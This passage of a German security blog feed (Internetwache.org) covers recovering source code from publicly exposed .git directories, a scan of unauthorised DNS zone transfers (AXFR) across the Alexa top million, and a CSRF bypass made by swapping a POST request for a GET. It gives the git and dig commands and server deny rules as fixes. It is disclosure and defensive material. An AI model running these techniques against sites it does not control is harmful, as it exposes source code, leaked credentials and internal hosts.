</pre></td><td class='code'><pre><code class=''><span class='line'>&gt; git cat-file -p fa3887a0b798346c122afdd7c5ecc605bf3c18c0
</span><span class='line'>040000 tree 532fc6055e09e0a2d5602f4b84c0dbadce1b5f3e        Dumper
</span><span class='line'>040000 tree 077ce769dedcf19d0f063246256e8ae0394fd8df        Extractor
</span><span class='line'>040000 tree d6e1bd4677a256e760cce5ddaa7db7ea6f9a8900        Finder
</span><span class='line'>100644 blob 9670cf17dfeec351c395493058044b9f9dadbe2a        README.md</span></code></pre></td></tr></table></div></figure>


<p>Dadurch erhalten wir die Namen der Dateien, welche in dem Pfad sind. Zu bemerken ist an dieser Stelle, dass <code>Dumper</code>, <code>Extractor</code> und <code>Finder</code> ebenfalls Trees (also Verzeichnisse) sind. Der finale Schritt an dieser Stelle ist allerdings das Herunterladen des README.md Blob Objektes und die Untersuchung des Inhalts.</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>&gt; git cat-file -p 9670cf17dfeec351c395493058044b9f9dadbe2a
</span><span class='line'>Git Tools
</span><span class='line'>=============
</span><span class='line'>[...]</span></code></pre></td></tr></table></div></figure>


<p>Besondere Beachtung ist allerdings auch den sogenannten Packs zu finden. Wir finden diese in folgendem Verzeichnis: <code>.git/objects/info/packs</code></p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>&gt; cat .git/objects/info/packs 
</span><span class='line'>P pack-e38660e6be24bb79d8d929ddea3d194e0dd3cd13.pack</span></code></pre></td></tr></table></div></figure>


<p>Das entsprechende Paket findet sich in <code>.git/objects/pack/</code>:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>&gt; /usr/bin/ls .git/objects/pack/
</span><span class='line'>pack-e38660e6be24bb79d8d929ddea3d194e0dd3cd13.idx
</span><span class='line'>pack-e38660e6be24bb79d8d929ddea3d194e0dd3cd13.pack</span></code></pre></td></tr></table></div></figure>


<p>In einem solchen Fall, müssen wir beide Dateien herunterladen und folgenden Befehl ausführen, um den Inhalt  des Pakets zu extrahieren.</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>&gt; git unpack-objects -r &lt; .git/objects/pack/pack-e38660e6be24bb79d8d929ddea3d194e0dd3cd13.pack
</span><span class='line'>Unpacking objects: 100% (15/15), done.</span></code></pre></td></tr></table></div></figure>


<p>Wenn man dieses Vorgehen rekusiv und für jeden möglichen Hash macht, den man bereits heruntergeladen hat, so ist man in der Lage nach und nach das eigentliche Repsository und dessen Inhalt wiederherzustellen.</p>

<p>Manchmal wird das Herunterladen eines bestimmten Objektes scheitern und wir erhalten nur ein unvollständiges Repository. In einem solchen Fall können wir allerdings den <code>git fsck</code> Befehl nutzen, um nach den fehlenden Dateien zu suchen.</p>

<h2>Tools</h2>

<p>Die Tools sind auf Github unter folgendem Link abrufbar: <a href="https://github.com/internetwache/GitTools">https://github.com/internetwache/GitTools</a>.</p>

<p>Es handelt sich um 3 getrennte Programme. Eins zum Finden, eins zum Herunterladen und eins zum Extrahieren von Repositories.</p>

<p>Preview des recovery Tools:</p>

<p><a href="https://asciinema.org/a/24072?autoplay=1" target="_blank"><img src="https://asciinema.org/a/24072.png" height="500"/></a></p>

<h1>Scan der Alexa Top 1M</h1>

<p>Durch einen Scan der Alexa Top 1M Domains haben wir einiges an Erkenntnisse und Daten über git Repositorys gewinnen können.
Wir haben rund 9700 öffentlich abrufbare git repositories gefunden, was bedeutet, dass &lt;1% anfällig für diese Art Angriff sind.</p>

<p>Bei einem genaueren Blick auf unsere Daten stellten wir insbesondere bei folgenden Webseiten viele Anfälligkeiten fest:</p>

<ul>
<li>Webseiten großer deutscher und amerikanischer Parteien / NGOs und einigen staatlichen Webseiten (.gov)</li>
<li>TV-Sender und Radiosender (>20)</li>
<li>Online-Communities (einige sogar mit mehr als >6 Millionen Nutzern)</li>
<li>Trading- bzw. Banking Webseiten</li>
<li>Online Privacy-Dienst</li>
<li>Fußballclus aus der deutschen Bundesliga</li>
<li>Webseiten mit pornografischen Inhalten</li>
<li>Kleinere und größere Webshops</li>
</ul>


<p>Auf einigen wenigen Webseiten war das Erreichen der git-Repositorys mit hoher Wahrscheinlichkeit beabsichtigt (etwa bei Open Source Projekten) - die meisten Open Source Projekte haben ohnehin ihren Quellcode öffentlich einsehbar.</p>

<p>Je mehr der Alexa Traffic Rank stieg, desto größer wurde die Wahrscheinlichkeit auf anfällige Webseiten zu stoßen.</p>

<p><a rel="fancybox"href="/images/posts/alexa_rank_number_vuln.png" class="fancybox" ><img src="https://www.internetwache.org/images/posts/small/alexa_rank_number_vuln.png" alt="Alexa rank mit kummulierten anfälligen Websites" title="Webseiten mit öffentlichen .git nach Alexa rank" /></a></p>

<p>Hier ist eine Übersicht über die bekanntesten Top Level Domains und die Anzahl der betroffenen Webseiten</p>

<p><a rel="fancybox"href="/images/posts/tlds.png" class="fancybox" ><img src="https://www.internetwache.org/images/posts/small/tlds.png" alt="TLDs von betroffenen Webseiten" title="Top level domains of affected websites" /></a></p>

<p>Sehr interessant ist auch die Betrachtung der Verteilung der jeweils genutzten Protokolle. Es wurden oft unverschlüsselte Protokolle wie <code>http</code> oder <code>git</code> genutzt.</p>

<p><a rel="fancybox"href="/images/posts/protocols.png" class="fancybox" ><img src="https://www.internetwache.org/images/posts/small/protocols.png" alt="Liste von genutzten Protokollen" title="Protokolle die für die Übertragung des Repositorys genutzt wurden" /></a></p>

<p>GitHub bzw. BitBucket wurden neben anderen Hostingplatformen überdurchschnittlich oft verwendet.</p>

<p><a rel="fancybox"href="/images/posts/git_hosts.png" class="fancybox" ><img src="https://www.internetwache.org/images/posts/small/git_hosts.png" alt="Meistgenutzte hosting services" title="Code hosting services" /></a></p>

<p>Inteeressant</p>

<p><a rel="fancybox"href="/images/posts/branches.png" class="fancybox" ><img src="https://www.internetwache.org/images/posts/small/branches.png" alt="Liste mit den am meisten verbreiteten Branch Namen" title="Verbreitesten Branch Namen" /></a></p>

<p>Zu unserem erstaunen haben auch über 100 Projekte HTTP-Authentifizierung für die Client-Server Kommunikation genutzt.
Das bedeutet, dass aus der config-Datei folgende Kombination entnommen werden konnte: <code>Protokoll://Nutzer:Passwort@host/repository</code>. Das gibt Angreifern direkten Zugriff auf entsprechende Accounts und GitLab-Instanzen oder GitHub und BitBucket. Mit etwas Glück erlangt ein Angreifer somit sogar Zugriff auf den CI-Server und kann von dort aus schädlichen Code ausführen, um die gesamte Infrastruktur zu kompromitieren.
Desweiteren konnten wir eine Vielzahl von AWS/Datenbank/SMTP/FTP Informationen (Logins) aus den Repositorys entnehmen.</p>

<h1>Wie kann man die Lücke schließen?</h1>

<p>Zunächst sollte erwähnt werden, dass git ein prima Tool ist, wenn man es korrekt nutzt.
Nicht git zu benutzen ist also nicht die richtige Option, vielmehr sollte darauf geachtet werden, dass der Webserver korrekt konfiguriert ist und entsprechende Zugriffe verhindert.
Nachfolgend haben wir eine Liste der weitverbreitesten Webserver erstellt und beschrieben wie man entsprechende Pfade sperren kann.</p>

<p>Meist ist das Sperren des <code>.git</code> Pfads sehr einfach.</p>

<h2>Apache</h2>

<p>Für 2.4:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>&lt;DirectoryMatch "^/.*/\.git/"&gt;
</span><span class='line'>    Require all denied
</span><span class='line'>&lt;/DirectoryMatch&gt;</span></code></pre></td></tr></table></div></figure>


<p>Für 2.2:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>&lt;DirectoryMatch "^/.*/\.git/"&gt;
</span><span class='line'>    Order deny,allow
</span><span class='line'>    Deny from all
</span><span class='line'>&lt;/DirectoryMatch&gt;</span></code></pre></td></tr></table></div></figure>


<p>Wenn Sie diesen Code in der <code>httpd.conf</code> platzieren ist der Pfad gesperrt.</p>

<h2>Nginx</h2>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>location ~ /.git/ {
</span><span class='line'>      deny all;
</span><span class='line'>}</span></code></pre></td></tr></table></div></figure>


<p>Wenn diese Zeilen Code im <code>server</code>-Block der <code>nginx.conf</code> Datei plaziert werden, greift die Sperre.</p>

<h2>Lighttpd</h2>

<p>Hier muss zunächst muss das <code>mod_access</code> Module aktiviert werden:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>server.modules += ( "mod_access" )</span></code></pre></td></tr></table></div></figure>


<p>Dannach können wir entsprechende Zugriffe auf Pfade, so etwa das <code>.git</code> Verzeichnis blockieren:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>$HTTP["url"] =~ "^/\.git/" {
</span><span class='line'>     url.access-deny = ("")
</span><span class='line'>}</span></code></pre></td></tr></table></div></figure>


<p>Dieser Code muss dazu in der <code>lighttpd.conf</code> plaziert werden.</p>

<p>Eine andere Vorangehensweise ist mittels <code>--git-dir</code> and <code>--work-tree</code> das git Repository außerhalb dem Wurzelverzeichnis zu platzieren.</p>

<h1>Zusammenfassung</h1>

<p>Es gibt zahlreiche bekannte Webseiten, welche nicht den Zugriff auf den <code>/.git/</code>-Ordner blockieren. Potentzielle Angreifer können so an Quellcode und andere sensible Informationen kommen. Dieses Verhalten lässt sich leicht unterbinden. Sofern Sie Admin sind bitten wir also darum sich einige Minuten Zeit zu nehmen, um zu kontrollieren, dass der Server richtig konfiguriert ist.</p>

<p>Soweit, so gut.</p>

<p>Das Team der Internetwache.org</p>
]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[AXFR-Scan der Alexa Top 1 Million]]></title>
    <link href="https://www.internetwache.org/axfr-scan-der-alexa-top-1-million-29-03-2015/"/>
    <updated>2015-03-29T05:20:00+02:00</updated>
    <id>https://www.internetwache.org/axfr-scan-der-alexa-top-1-million</id>
    <content type="html"><![CDATA[<p>In diesem Blogpost werden wir einen einfachen Informationsleak vorstellen, nämlich unautorisierte AXFR Anfragen. Diese können genutzt werden, um die DNS Informationen eines bestimmten Zieles auszulesen. Nicht selten werden so als intern/privat klassifizierte DNS Einträge aufgedeckt.</p>

<p>Wir haben die Alexa Top 1 Millionen Webseitenliste auf dieses Problem untersucht und sind dabei zu einem ernüchternden Ergebnis gekommen.</p>

<!-- more -->


<h2>Was ist AXFR?</h2>

<p><code>Asynchronous Xfer Full Range</code> ist ein Mechanismus von DNS Systemen um DNS-Zonen von eingem sogenannten Master (primären) DNS-Server zu den Slaves (sekundären) DNS-Servern zu übermitteln. Dabei sendet ein Slave eine AXFR-Anfrage zu dem Master Server welcher mit den entsprechenden Informationen zu der angefragten DNS Zone antwortet.</p>

<h2>Was kann dabei schief gehen?</h2>

<p>Wenn der Master Server nicht kontrolliert, ob die Anfrage aus einer berechtigten Quelle stammt, so beantwortet er &#8220;blind&#8221; Anfragen. Bei einer Falschkonfiguration kann also jeder Anfragen stellen und damit beliebige Zonen herunterladen.
Diese Zonen Informationen sollten allerdings, wie oben bereits erwähnt, nur den sekundären Servern zugänglich sein.</p>

<p>Nun könnte man meinen, dass DNS ohnehin offen abrufbar ist.</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>> dig NS google.com
</span><span class='line'>;; ANSWER SECTION:
</span><span class='line'>google.com.                21599        IN        NS        ns3.google.com.
</span><span class='line'>google.com.                21599        IN        NS        ns2.google.com.
</span><span class='line'>google.com.                21599        IN        NS        ns1.google.com.
</span><span class='line'>google.com.                21599        IN        NS        ns4.google.com.</span></code></pre></td></tr></table></div></figure>


<p>Wir fragen zunächst Informationen über die Namenserver von <code>google.com</code> an. Es gibt vier Namenserver, welche jeweils für die Domain Anfragen entgegennehmen.</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>> dig A google.com @ns4.google.com
</span><span class='line'>;; ANSWER SECTION:
</span><span class='line'>google.com.                300        IN        A        173.194.32.196
</span><span class='line'>google.com.                300        IN        A        173.194.32.201
</span><span class='line'>google.com.                300        IN        A        173.194.32.198
</span><span class='line'>google.com.                300        IN        A        173.194.32.199
</span><span class='line'>google.com.                300        IN        A        173.194.32.194
</span><span class='line'>google.com.                300        IN        A        173.194.32.193
</span><span class='line'>google.com.                300        IN        A        173.194.32.200
</span><span class='line'>google.com.                300        IN        A        173.194.32.206
</span><span class='line'>google.com.                300        IN        A        173.194.32.195
</span><span class='line'>google.com.                300        IN        A        173.194.32.192
</span><span class='line'>google.com.                300        IN        A        173.194.32.197</span></code></pre></td></tr></table></div></figure>


<p>Nun haben wir den vierten Namenserver (<code>ns4.google.com</code>)  per Anfrage darum gebeten uns alle <code>A</code> (IPv4) Einträge aufzulisten. Diese Einträge verweisen allesamt auf <code>google.com</code>.</p>

<p>Das gleiche Vorgehen lässt sich auch auf andere Anfragemethoden von DNS (AAA/TXT/MX/CNAME/&#8230;) übertragen. Dazu ist jedoch stets die Kenntnis der DNS Einträge von Nöten. Es ist beispielsweise nicht möglich eine Anfrage wie: &#8220;Liste mir alle Subdomains von <code>google.com</code> in deiner Zone&#8221; auszuführen. Es gibt allerdings Tools, etwa <a href="https://github.com/TheRook/subbrute">Subbrute</a> welche durch ausprobieren (bruteforcing) DNS Einträge erraten.</p>

<p>Aus dem Aspekt der Sicherheit sind die erlangten Informationen sehr viel wert, da dadurch mögliche Endpunkte gefunden werden können, die ungeschützt oder sogar verwundbar sind.</p>

<p>Zum Beispiel könnten Monitoring-Systeme unter der Subdomain  &#8220;`monitoring.internal.server1.domain.tld&#8220;&#8220; oder jeder beliebigen anderen gefunden werden. Einige Admins gehen vielleicht davon aus, dass eine zusätzliche Schutzmaßnahme mittels Autorisierung nicht von Nöten sei, da niemand die Subdomain kennt, allerdings ist das, wie wir nun wissen, weit gefehlt.</p>

<p>Wenn einer der Namensserver falsch konfiguriert ist, kann der Angreifer eine AXFR-Anfrage schicken, die gesamten Zoneninformationen sammeln und dadurch möglicherweise Zugriff auf das Zielsystem erlangen.</p>

<h2>Testen der Alexa Top 1 Million</h2>

<p>Wir wollten wissen, wie viele falsch konfigurierte Namensserver sich wohl unter den Alexa Top 1 Million befinden und haben dazu ein kleines Pythonskript implementiert, welches auf <a href="https://github.com/internetwache/Python-AXFR-Test">GitHub</a> zu finden ist.</p>

<p>Das Ergebnis war ein wenig erstaunlich:</p>

<ul>
<li>132854 erfolgreiche AXFR Anfragen konnten durchgeführt werden</li>
<li>72401 einzelne Domain waren betroffen</li>
<li>48448 einzelne Namesserver waren betroffen</li>
</ul>


<p>Einige Domains hatten sogar gleich mehere fehlkonfigurierte Namensserver, das ist möglich da Namesserver mehrere Domains verwalten können und umgekehrt auch eine Domain-Zone auf mehreren Nameservern (z.B. Master und Slave-Server) liegen kann.</p>

<p><strong>Im Schnitt hat dennoch jede 20te Webseite der Alexa Top 1 Millionen einen fehlerhaft konfigurierten Webserver.</strong></p>

<p>TLDs nach betroffenen Domains:</p>

<p><a rel="fancybox"href="/images/posts/axfr_domains_tlds.png" class="fancybox" ><img src="https://www.internetwache.org/images/posts/small/axfr_domains_tlds.png" alt="TLDs der betroffenen Domains" title="Verteilung der TLDs der betroffenen Domains" /></a></p>

<p>TLDs nach betroffenen Namensservern:</p>

<p><a rel="fancybox"href="/images/posts/axfr_nameservers_tlds.png" class="fancybox" ><img src="https://www.internetwache.org/images/posts/small/axfr_nameservers_tlds.png" alt="TLDs der betroffenen Nameserver" title="Verteilung der TLDs der betroffenen Nameserver" /></a></p>

<p>Wir waren sehr enttäuscht darüber, dass einige recht bekannte und auch weniger bekannte Webhoster und IT-Unternehmen fehlerhaft konfigurierte Namensserver produktiv betreiben.
Einige zufällige Stichproben haben gezeigt, dass sowohl Informationen der Unternehmen als auch die der Kunden dadurch ohne weitere Autorisierung zugänglich waren. (Genau wie im oben beschriebenen Szenario).</p>

<p>Die sonstigen Webseiten wiesen verschiedene Themen auf, von einigen (großen) Nachrichtenseiten über Shopping Seiten bis zu hin kleinen privaten Webseiten war alles dabei.</p>

<h1>Behebung der Schwachstelle</h1>

<p>Der einfachste Weg diese Schwachstelle zu beheben ist eine Überprüfung der DNS Server Konfiguration. Es muss sichergestellt sein, nur sekundäre Nameserver vom primären Nameserver AXFR durchführen können und dass die ungeordneten Server keine AXFR erlauben.</p>

<p>Wenn Sie überprüfen möchten, ob ihre Nameserver falsch konfiguriert sind, dann können sie den folgenden Bash-Einzeiler nutzen:</p>

<figure class='code'> <div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
</pre></td><td class='code'><pre><code class='bash'><span class='line'><span class="c">#!/bin/bash</span>
</span><span class='line'><span class="c"># You need to have dnsutils installed</span>
</span><span class='line'><span class="nv">DOMAIN</span><span class="o">=</span><span class="s2">&quot;YOURDOMAIN.TLD&quot;</span>
</span><span class='line'>dig NS <span class="nv">$DOMAIN</span> +short | sed -e <span class="s2">&quot;s/\.$//g&quot;</span> | <span class="k">while </span><span class="nb">read </span>nameserver; <span class="k">do </span><span class="nb">echo</span> <span class="s2">&quot;Testing $DOMAIN @ $nameserver&quot;</span>; dig AXFR <span class="nv">$DOMAIN</span> <span class="s2">&quot;@$nameserver&quot;</span>; <span class="k">done</span>
</span></code></pre></td></tr></table></div></figure>


<p>Wenn man die Bash nicht bemühen möchte, dann kann man auf die folgende Webseite zurückgreifen: <a href="https://hackertarget.com/zone-transfer/">https://hackertarget.com/zone-transfer/</a></p>

<p><strong>Wir empfehlen jedem Admin der jetzt vielleicht etwas ins Nachdenken kommt es selbst einmal zu testen.</strong></p>

<p>Wenn Sie für alle Nameserver folgendes als Ausgabe erhalten, dann sind Sie auf der sicheren Seite:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>; Transfer failed</span></code></pre></td></tr></table></div></figure>


<p>Andernfalls sollten Sie die DNS-Konfiguration überprüfen. Falls Sie den weit verbreiteten DNS-Server BIND nutzen, dann lassen sich AXFRs wie folgt auf bestimmte IPs beschränken:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>allow-transfer { 192.168.1.1; };</span></code></pre></td></tr></table></div></figure>


<p>Wobei <code>192.168.1.1</code> die IP des sekundären Servers ist.</p>

<h1>Zusammenfassung</h1>

<p>Es ist interessant und gewissermaßen erstaunlich, dass sich bis heute so viele fehlerhaft konfigurierte Server finden lassen. Da das Thema in den 1990er Jahren umfassend in der Fachwelt diskutiert wurde sind wir eigentlich davon ausgegangen auf kaum verwundbare Server zu stoßen.</p>

<p>Das Problem wurde vom <a href="https://www.us-cert.gov/ncas/alerts/TA15-103A">US-CERT</a> aufgegriffen, was zu einem von zwölf Alerts im Jahr 2015 führte.</p>

<p>Soweit so gut,</p>

<p>Das Team der Internetwache.org</p>

<h1>Updates</h1>

<ul>
<li>&#35;1: 29/03/2015: URL des Webdienstes geändert. Behebungsmöglichkeit für den BIND hinzugefügt.</li>
<li>&#35;2: 08/01/2016: URL zum Alert des US Cert hinzugefügt</li>
</ul>

]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Intressanter CSRF Bypass]]></title>
    <link href="https://www.internetwache.org/intressanter-csrf-bypass-22-02-2015/"/>
    <updated>2015-02-22T20:16:00+01:00</updated>
    <id>https://www.internetwache.org/intressanter-csrf-bypass</id>
    <content type="html"><![CDATA[<p>Sebastian hat vor Kurzem einen interessanten CSRF Bypass gefunden, den wir euch natürlich nicht vorenthalten möchten.</p>

<!-- more -->


<p>Die Webapplikation nutzte Formulare, welche die eingegebenen Daten mit einem POST Request übermittelten:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>POST /settings.php?save=1&email=foobar@test.com HTTP/1.1
</span><span class='line'>Host: www.HOST.com
</span><span class='line'>Connection: keep-alive
</span><span class='line'>Content-Length: 150
</span><span class='line'>Origin: https://HOST.com
</span><span class='line'>X-Requested-With: XMLHttpRequest
</span><span class='line'>Content-Type: application/x-www-form-urlencoded; charset=UTF-8
</span><span class='line'>Cookie: [Cookies]
</span><span class='line'>
</span><span class='line'>CSRFToken[token]=ac1bbdd8b6dd23f780f3594a6d02f62624f2ef430c464f7ddec617728a2999bf&CSRFToken[time]=1423073667737&CSRFToken[URI]=/settings</span></code></pre></td></tr></table></div></figure>


<p>Wie man der Anfrage entnehmen kann, wurden mehrere CSRF Schutzmaßnahmen genutzt:</p>

<ul>
<li><code>Origin</code>-header</li>
<li><code>X-Requested-With</code>-header</li>
<li><code>Content-Type</code>-header</li>
<li><code>CSRFToken[token], CSRFToken[time]</code>-parameters</li>
</ul>


<p>Der einfachste Weg die CSRF Schutzmaßnahmen zu testen ist natürlich, die einzelen Parameter des Schutzes (etwa das CSRF Token) aus dem Request zu entfernen und zu überprüfen, ob die Änderungen zurückgewiesen oder zugelassen werden. Werden sie zugelassen, so ist die Applikation verwundbar, wenn sie zurückgewiesen werden, ist der Schutz korrekt implementiert und es besteht zumindest auf diese Weise keine Gefahr.</p>

<p>Die Webapplikation erkannte die Änderung und verweigerte die Speicherung der Daten, an Aufgeben ist aber dennoch nicht zu denken.</p>

<h1>Wie kommt man dennoch weiter?</h1>

<p>In der URL befindet sich der zu ändernde Parameter (<code>email</code>) - das sollte einen misstrauisch stimmen: Wieso sollten diese Daten in der URL enthalten sein, wenn die Abfrage über die POST Methode von statten geht?</p>

<p>Also es einfach mit mit folgender Abfrage, in der die Methode von GET auf POST geändert wurde, erneut versucht.</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>GET /settings.php?save=1&email=foobar@test.com HTTP/1.1
</span><span class='line'>Host: www.HOST.com
</span><span class='line'>Cookie: [Cookies]</span></code></pre></td></tr></table></div></figure>


<p>Das ist eine simple GET-Anfrage und sie funktionierte. Es also möglich die CSRF Schutzmaßnahme zu umgehen.</p>

<h1>Was lernen wir daraus?</h1>

<ul>
<li>Versuche kreativ zu sein und probiere verschiedene Methoden aus (etwa Wechsel der Abfrageart)</li>
<li>Und wie immer: Vertraue niemals blind den Eingaben des Nutzers ;)</li>
</ul>


<p>Viele Grüße,</p>

<p>Das Team der internetwache.org</p>
]]></content>
  </entry>
  
</feed>
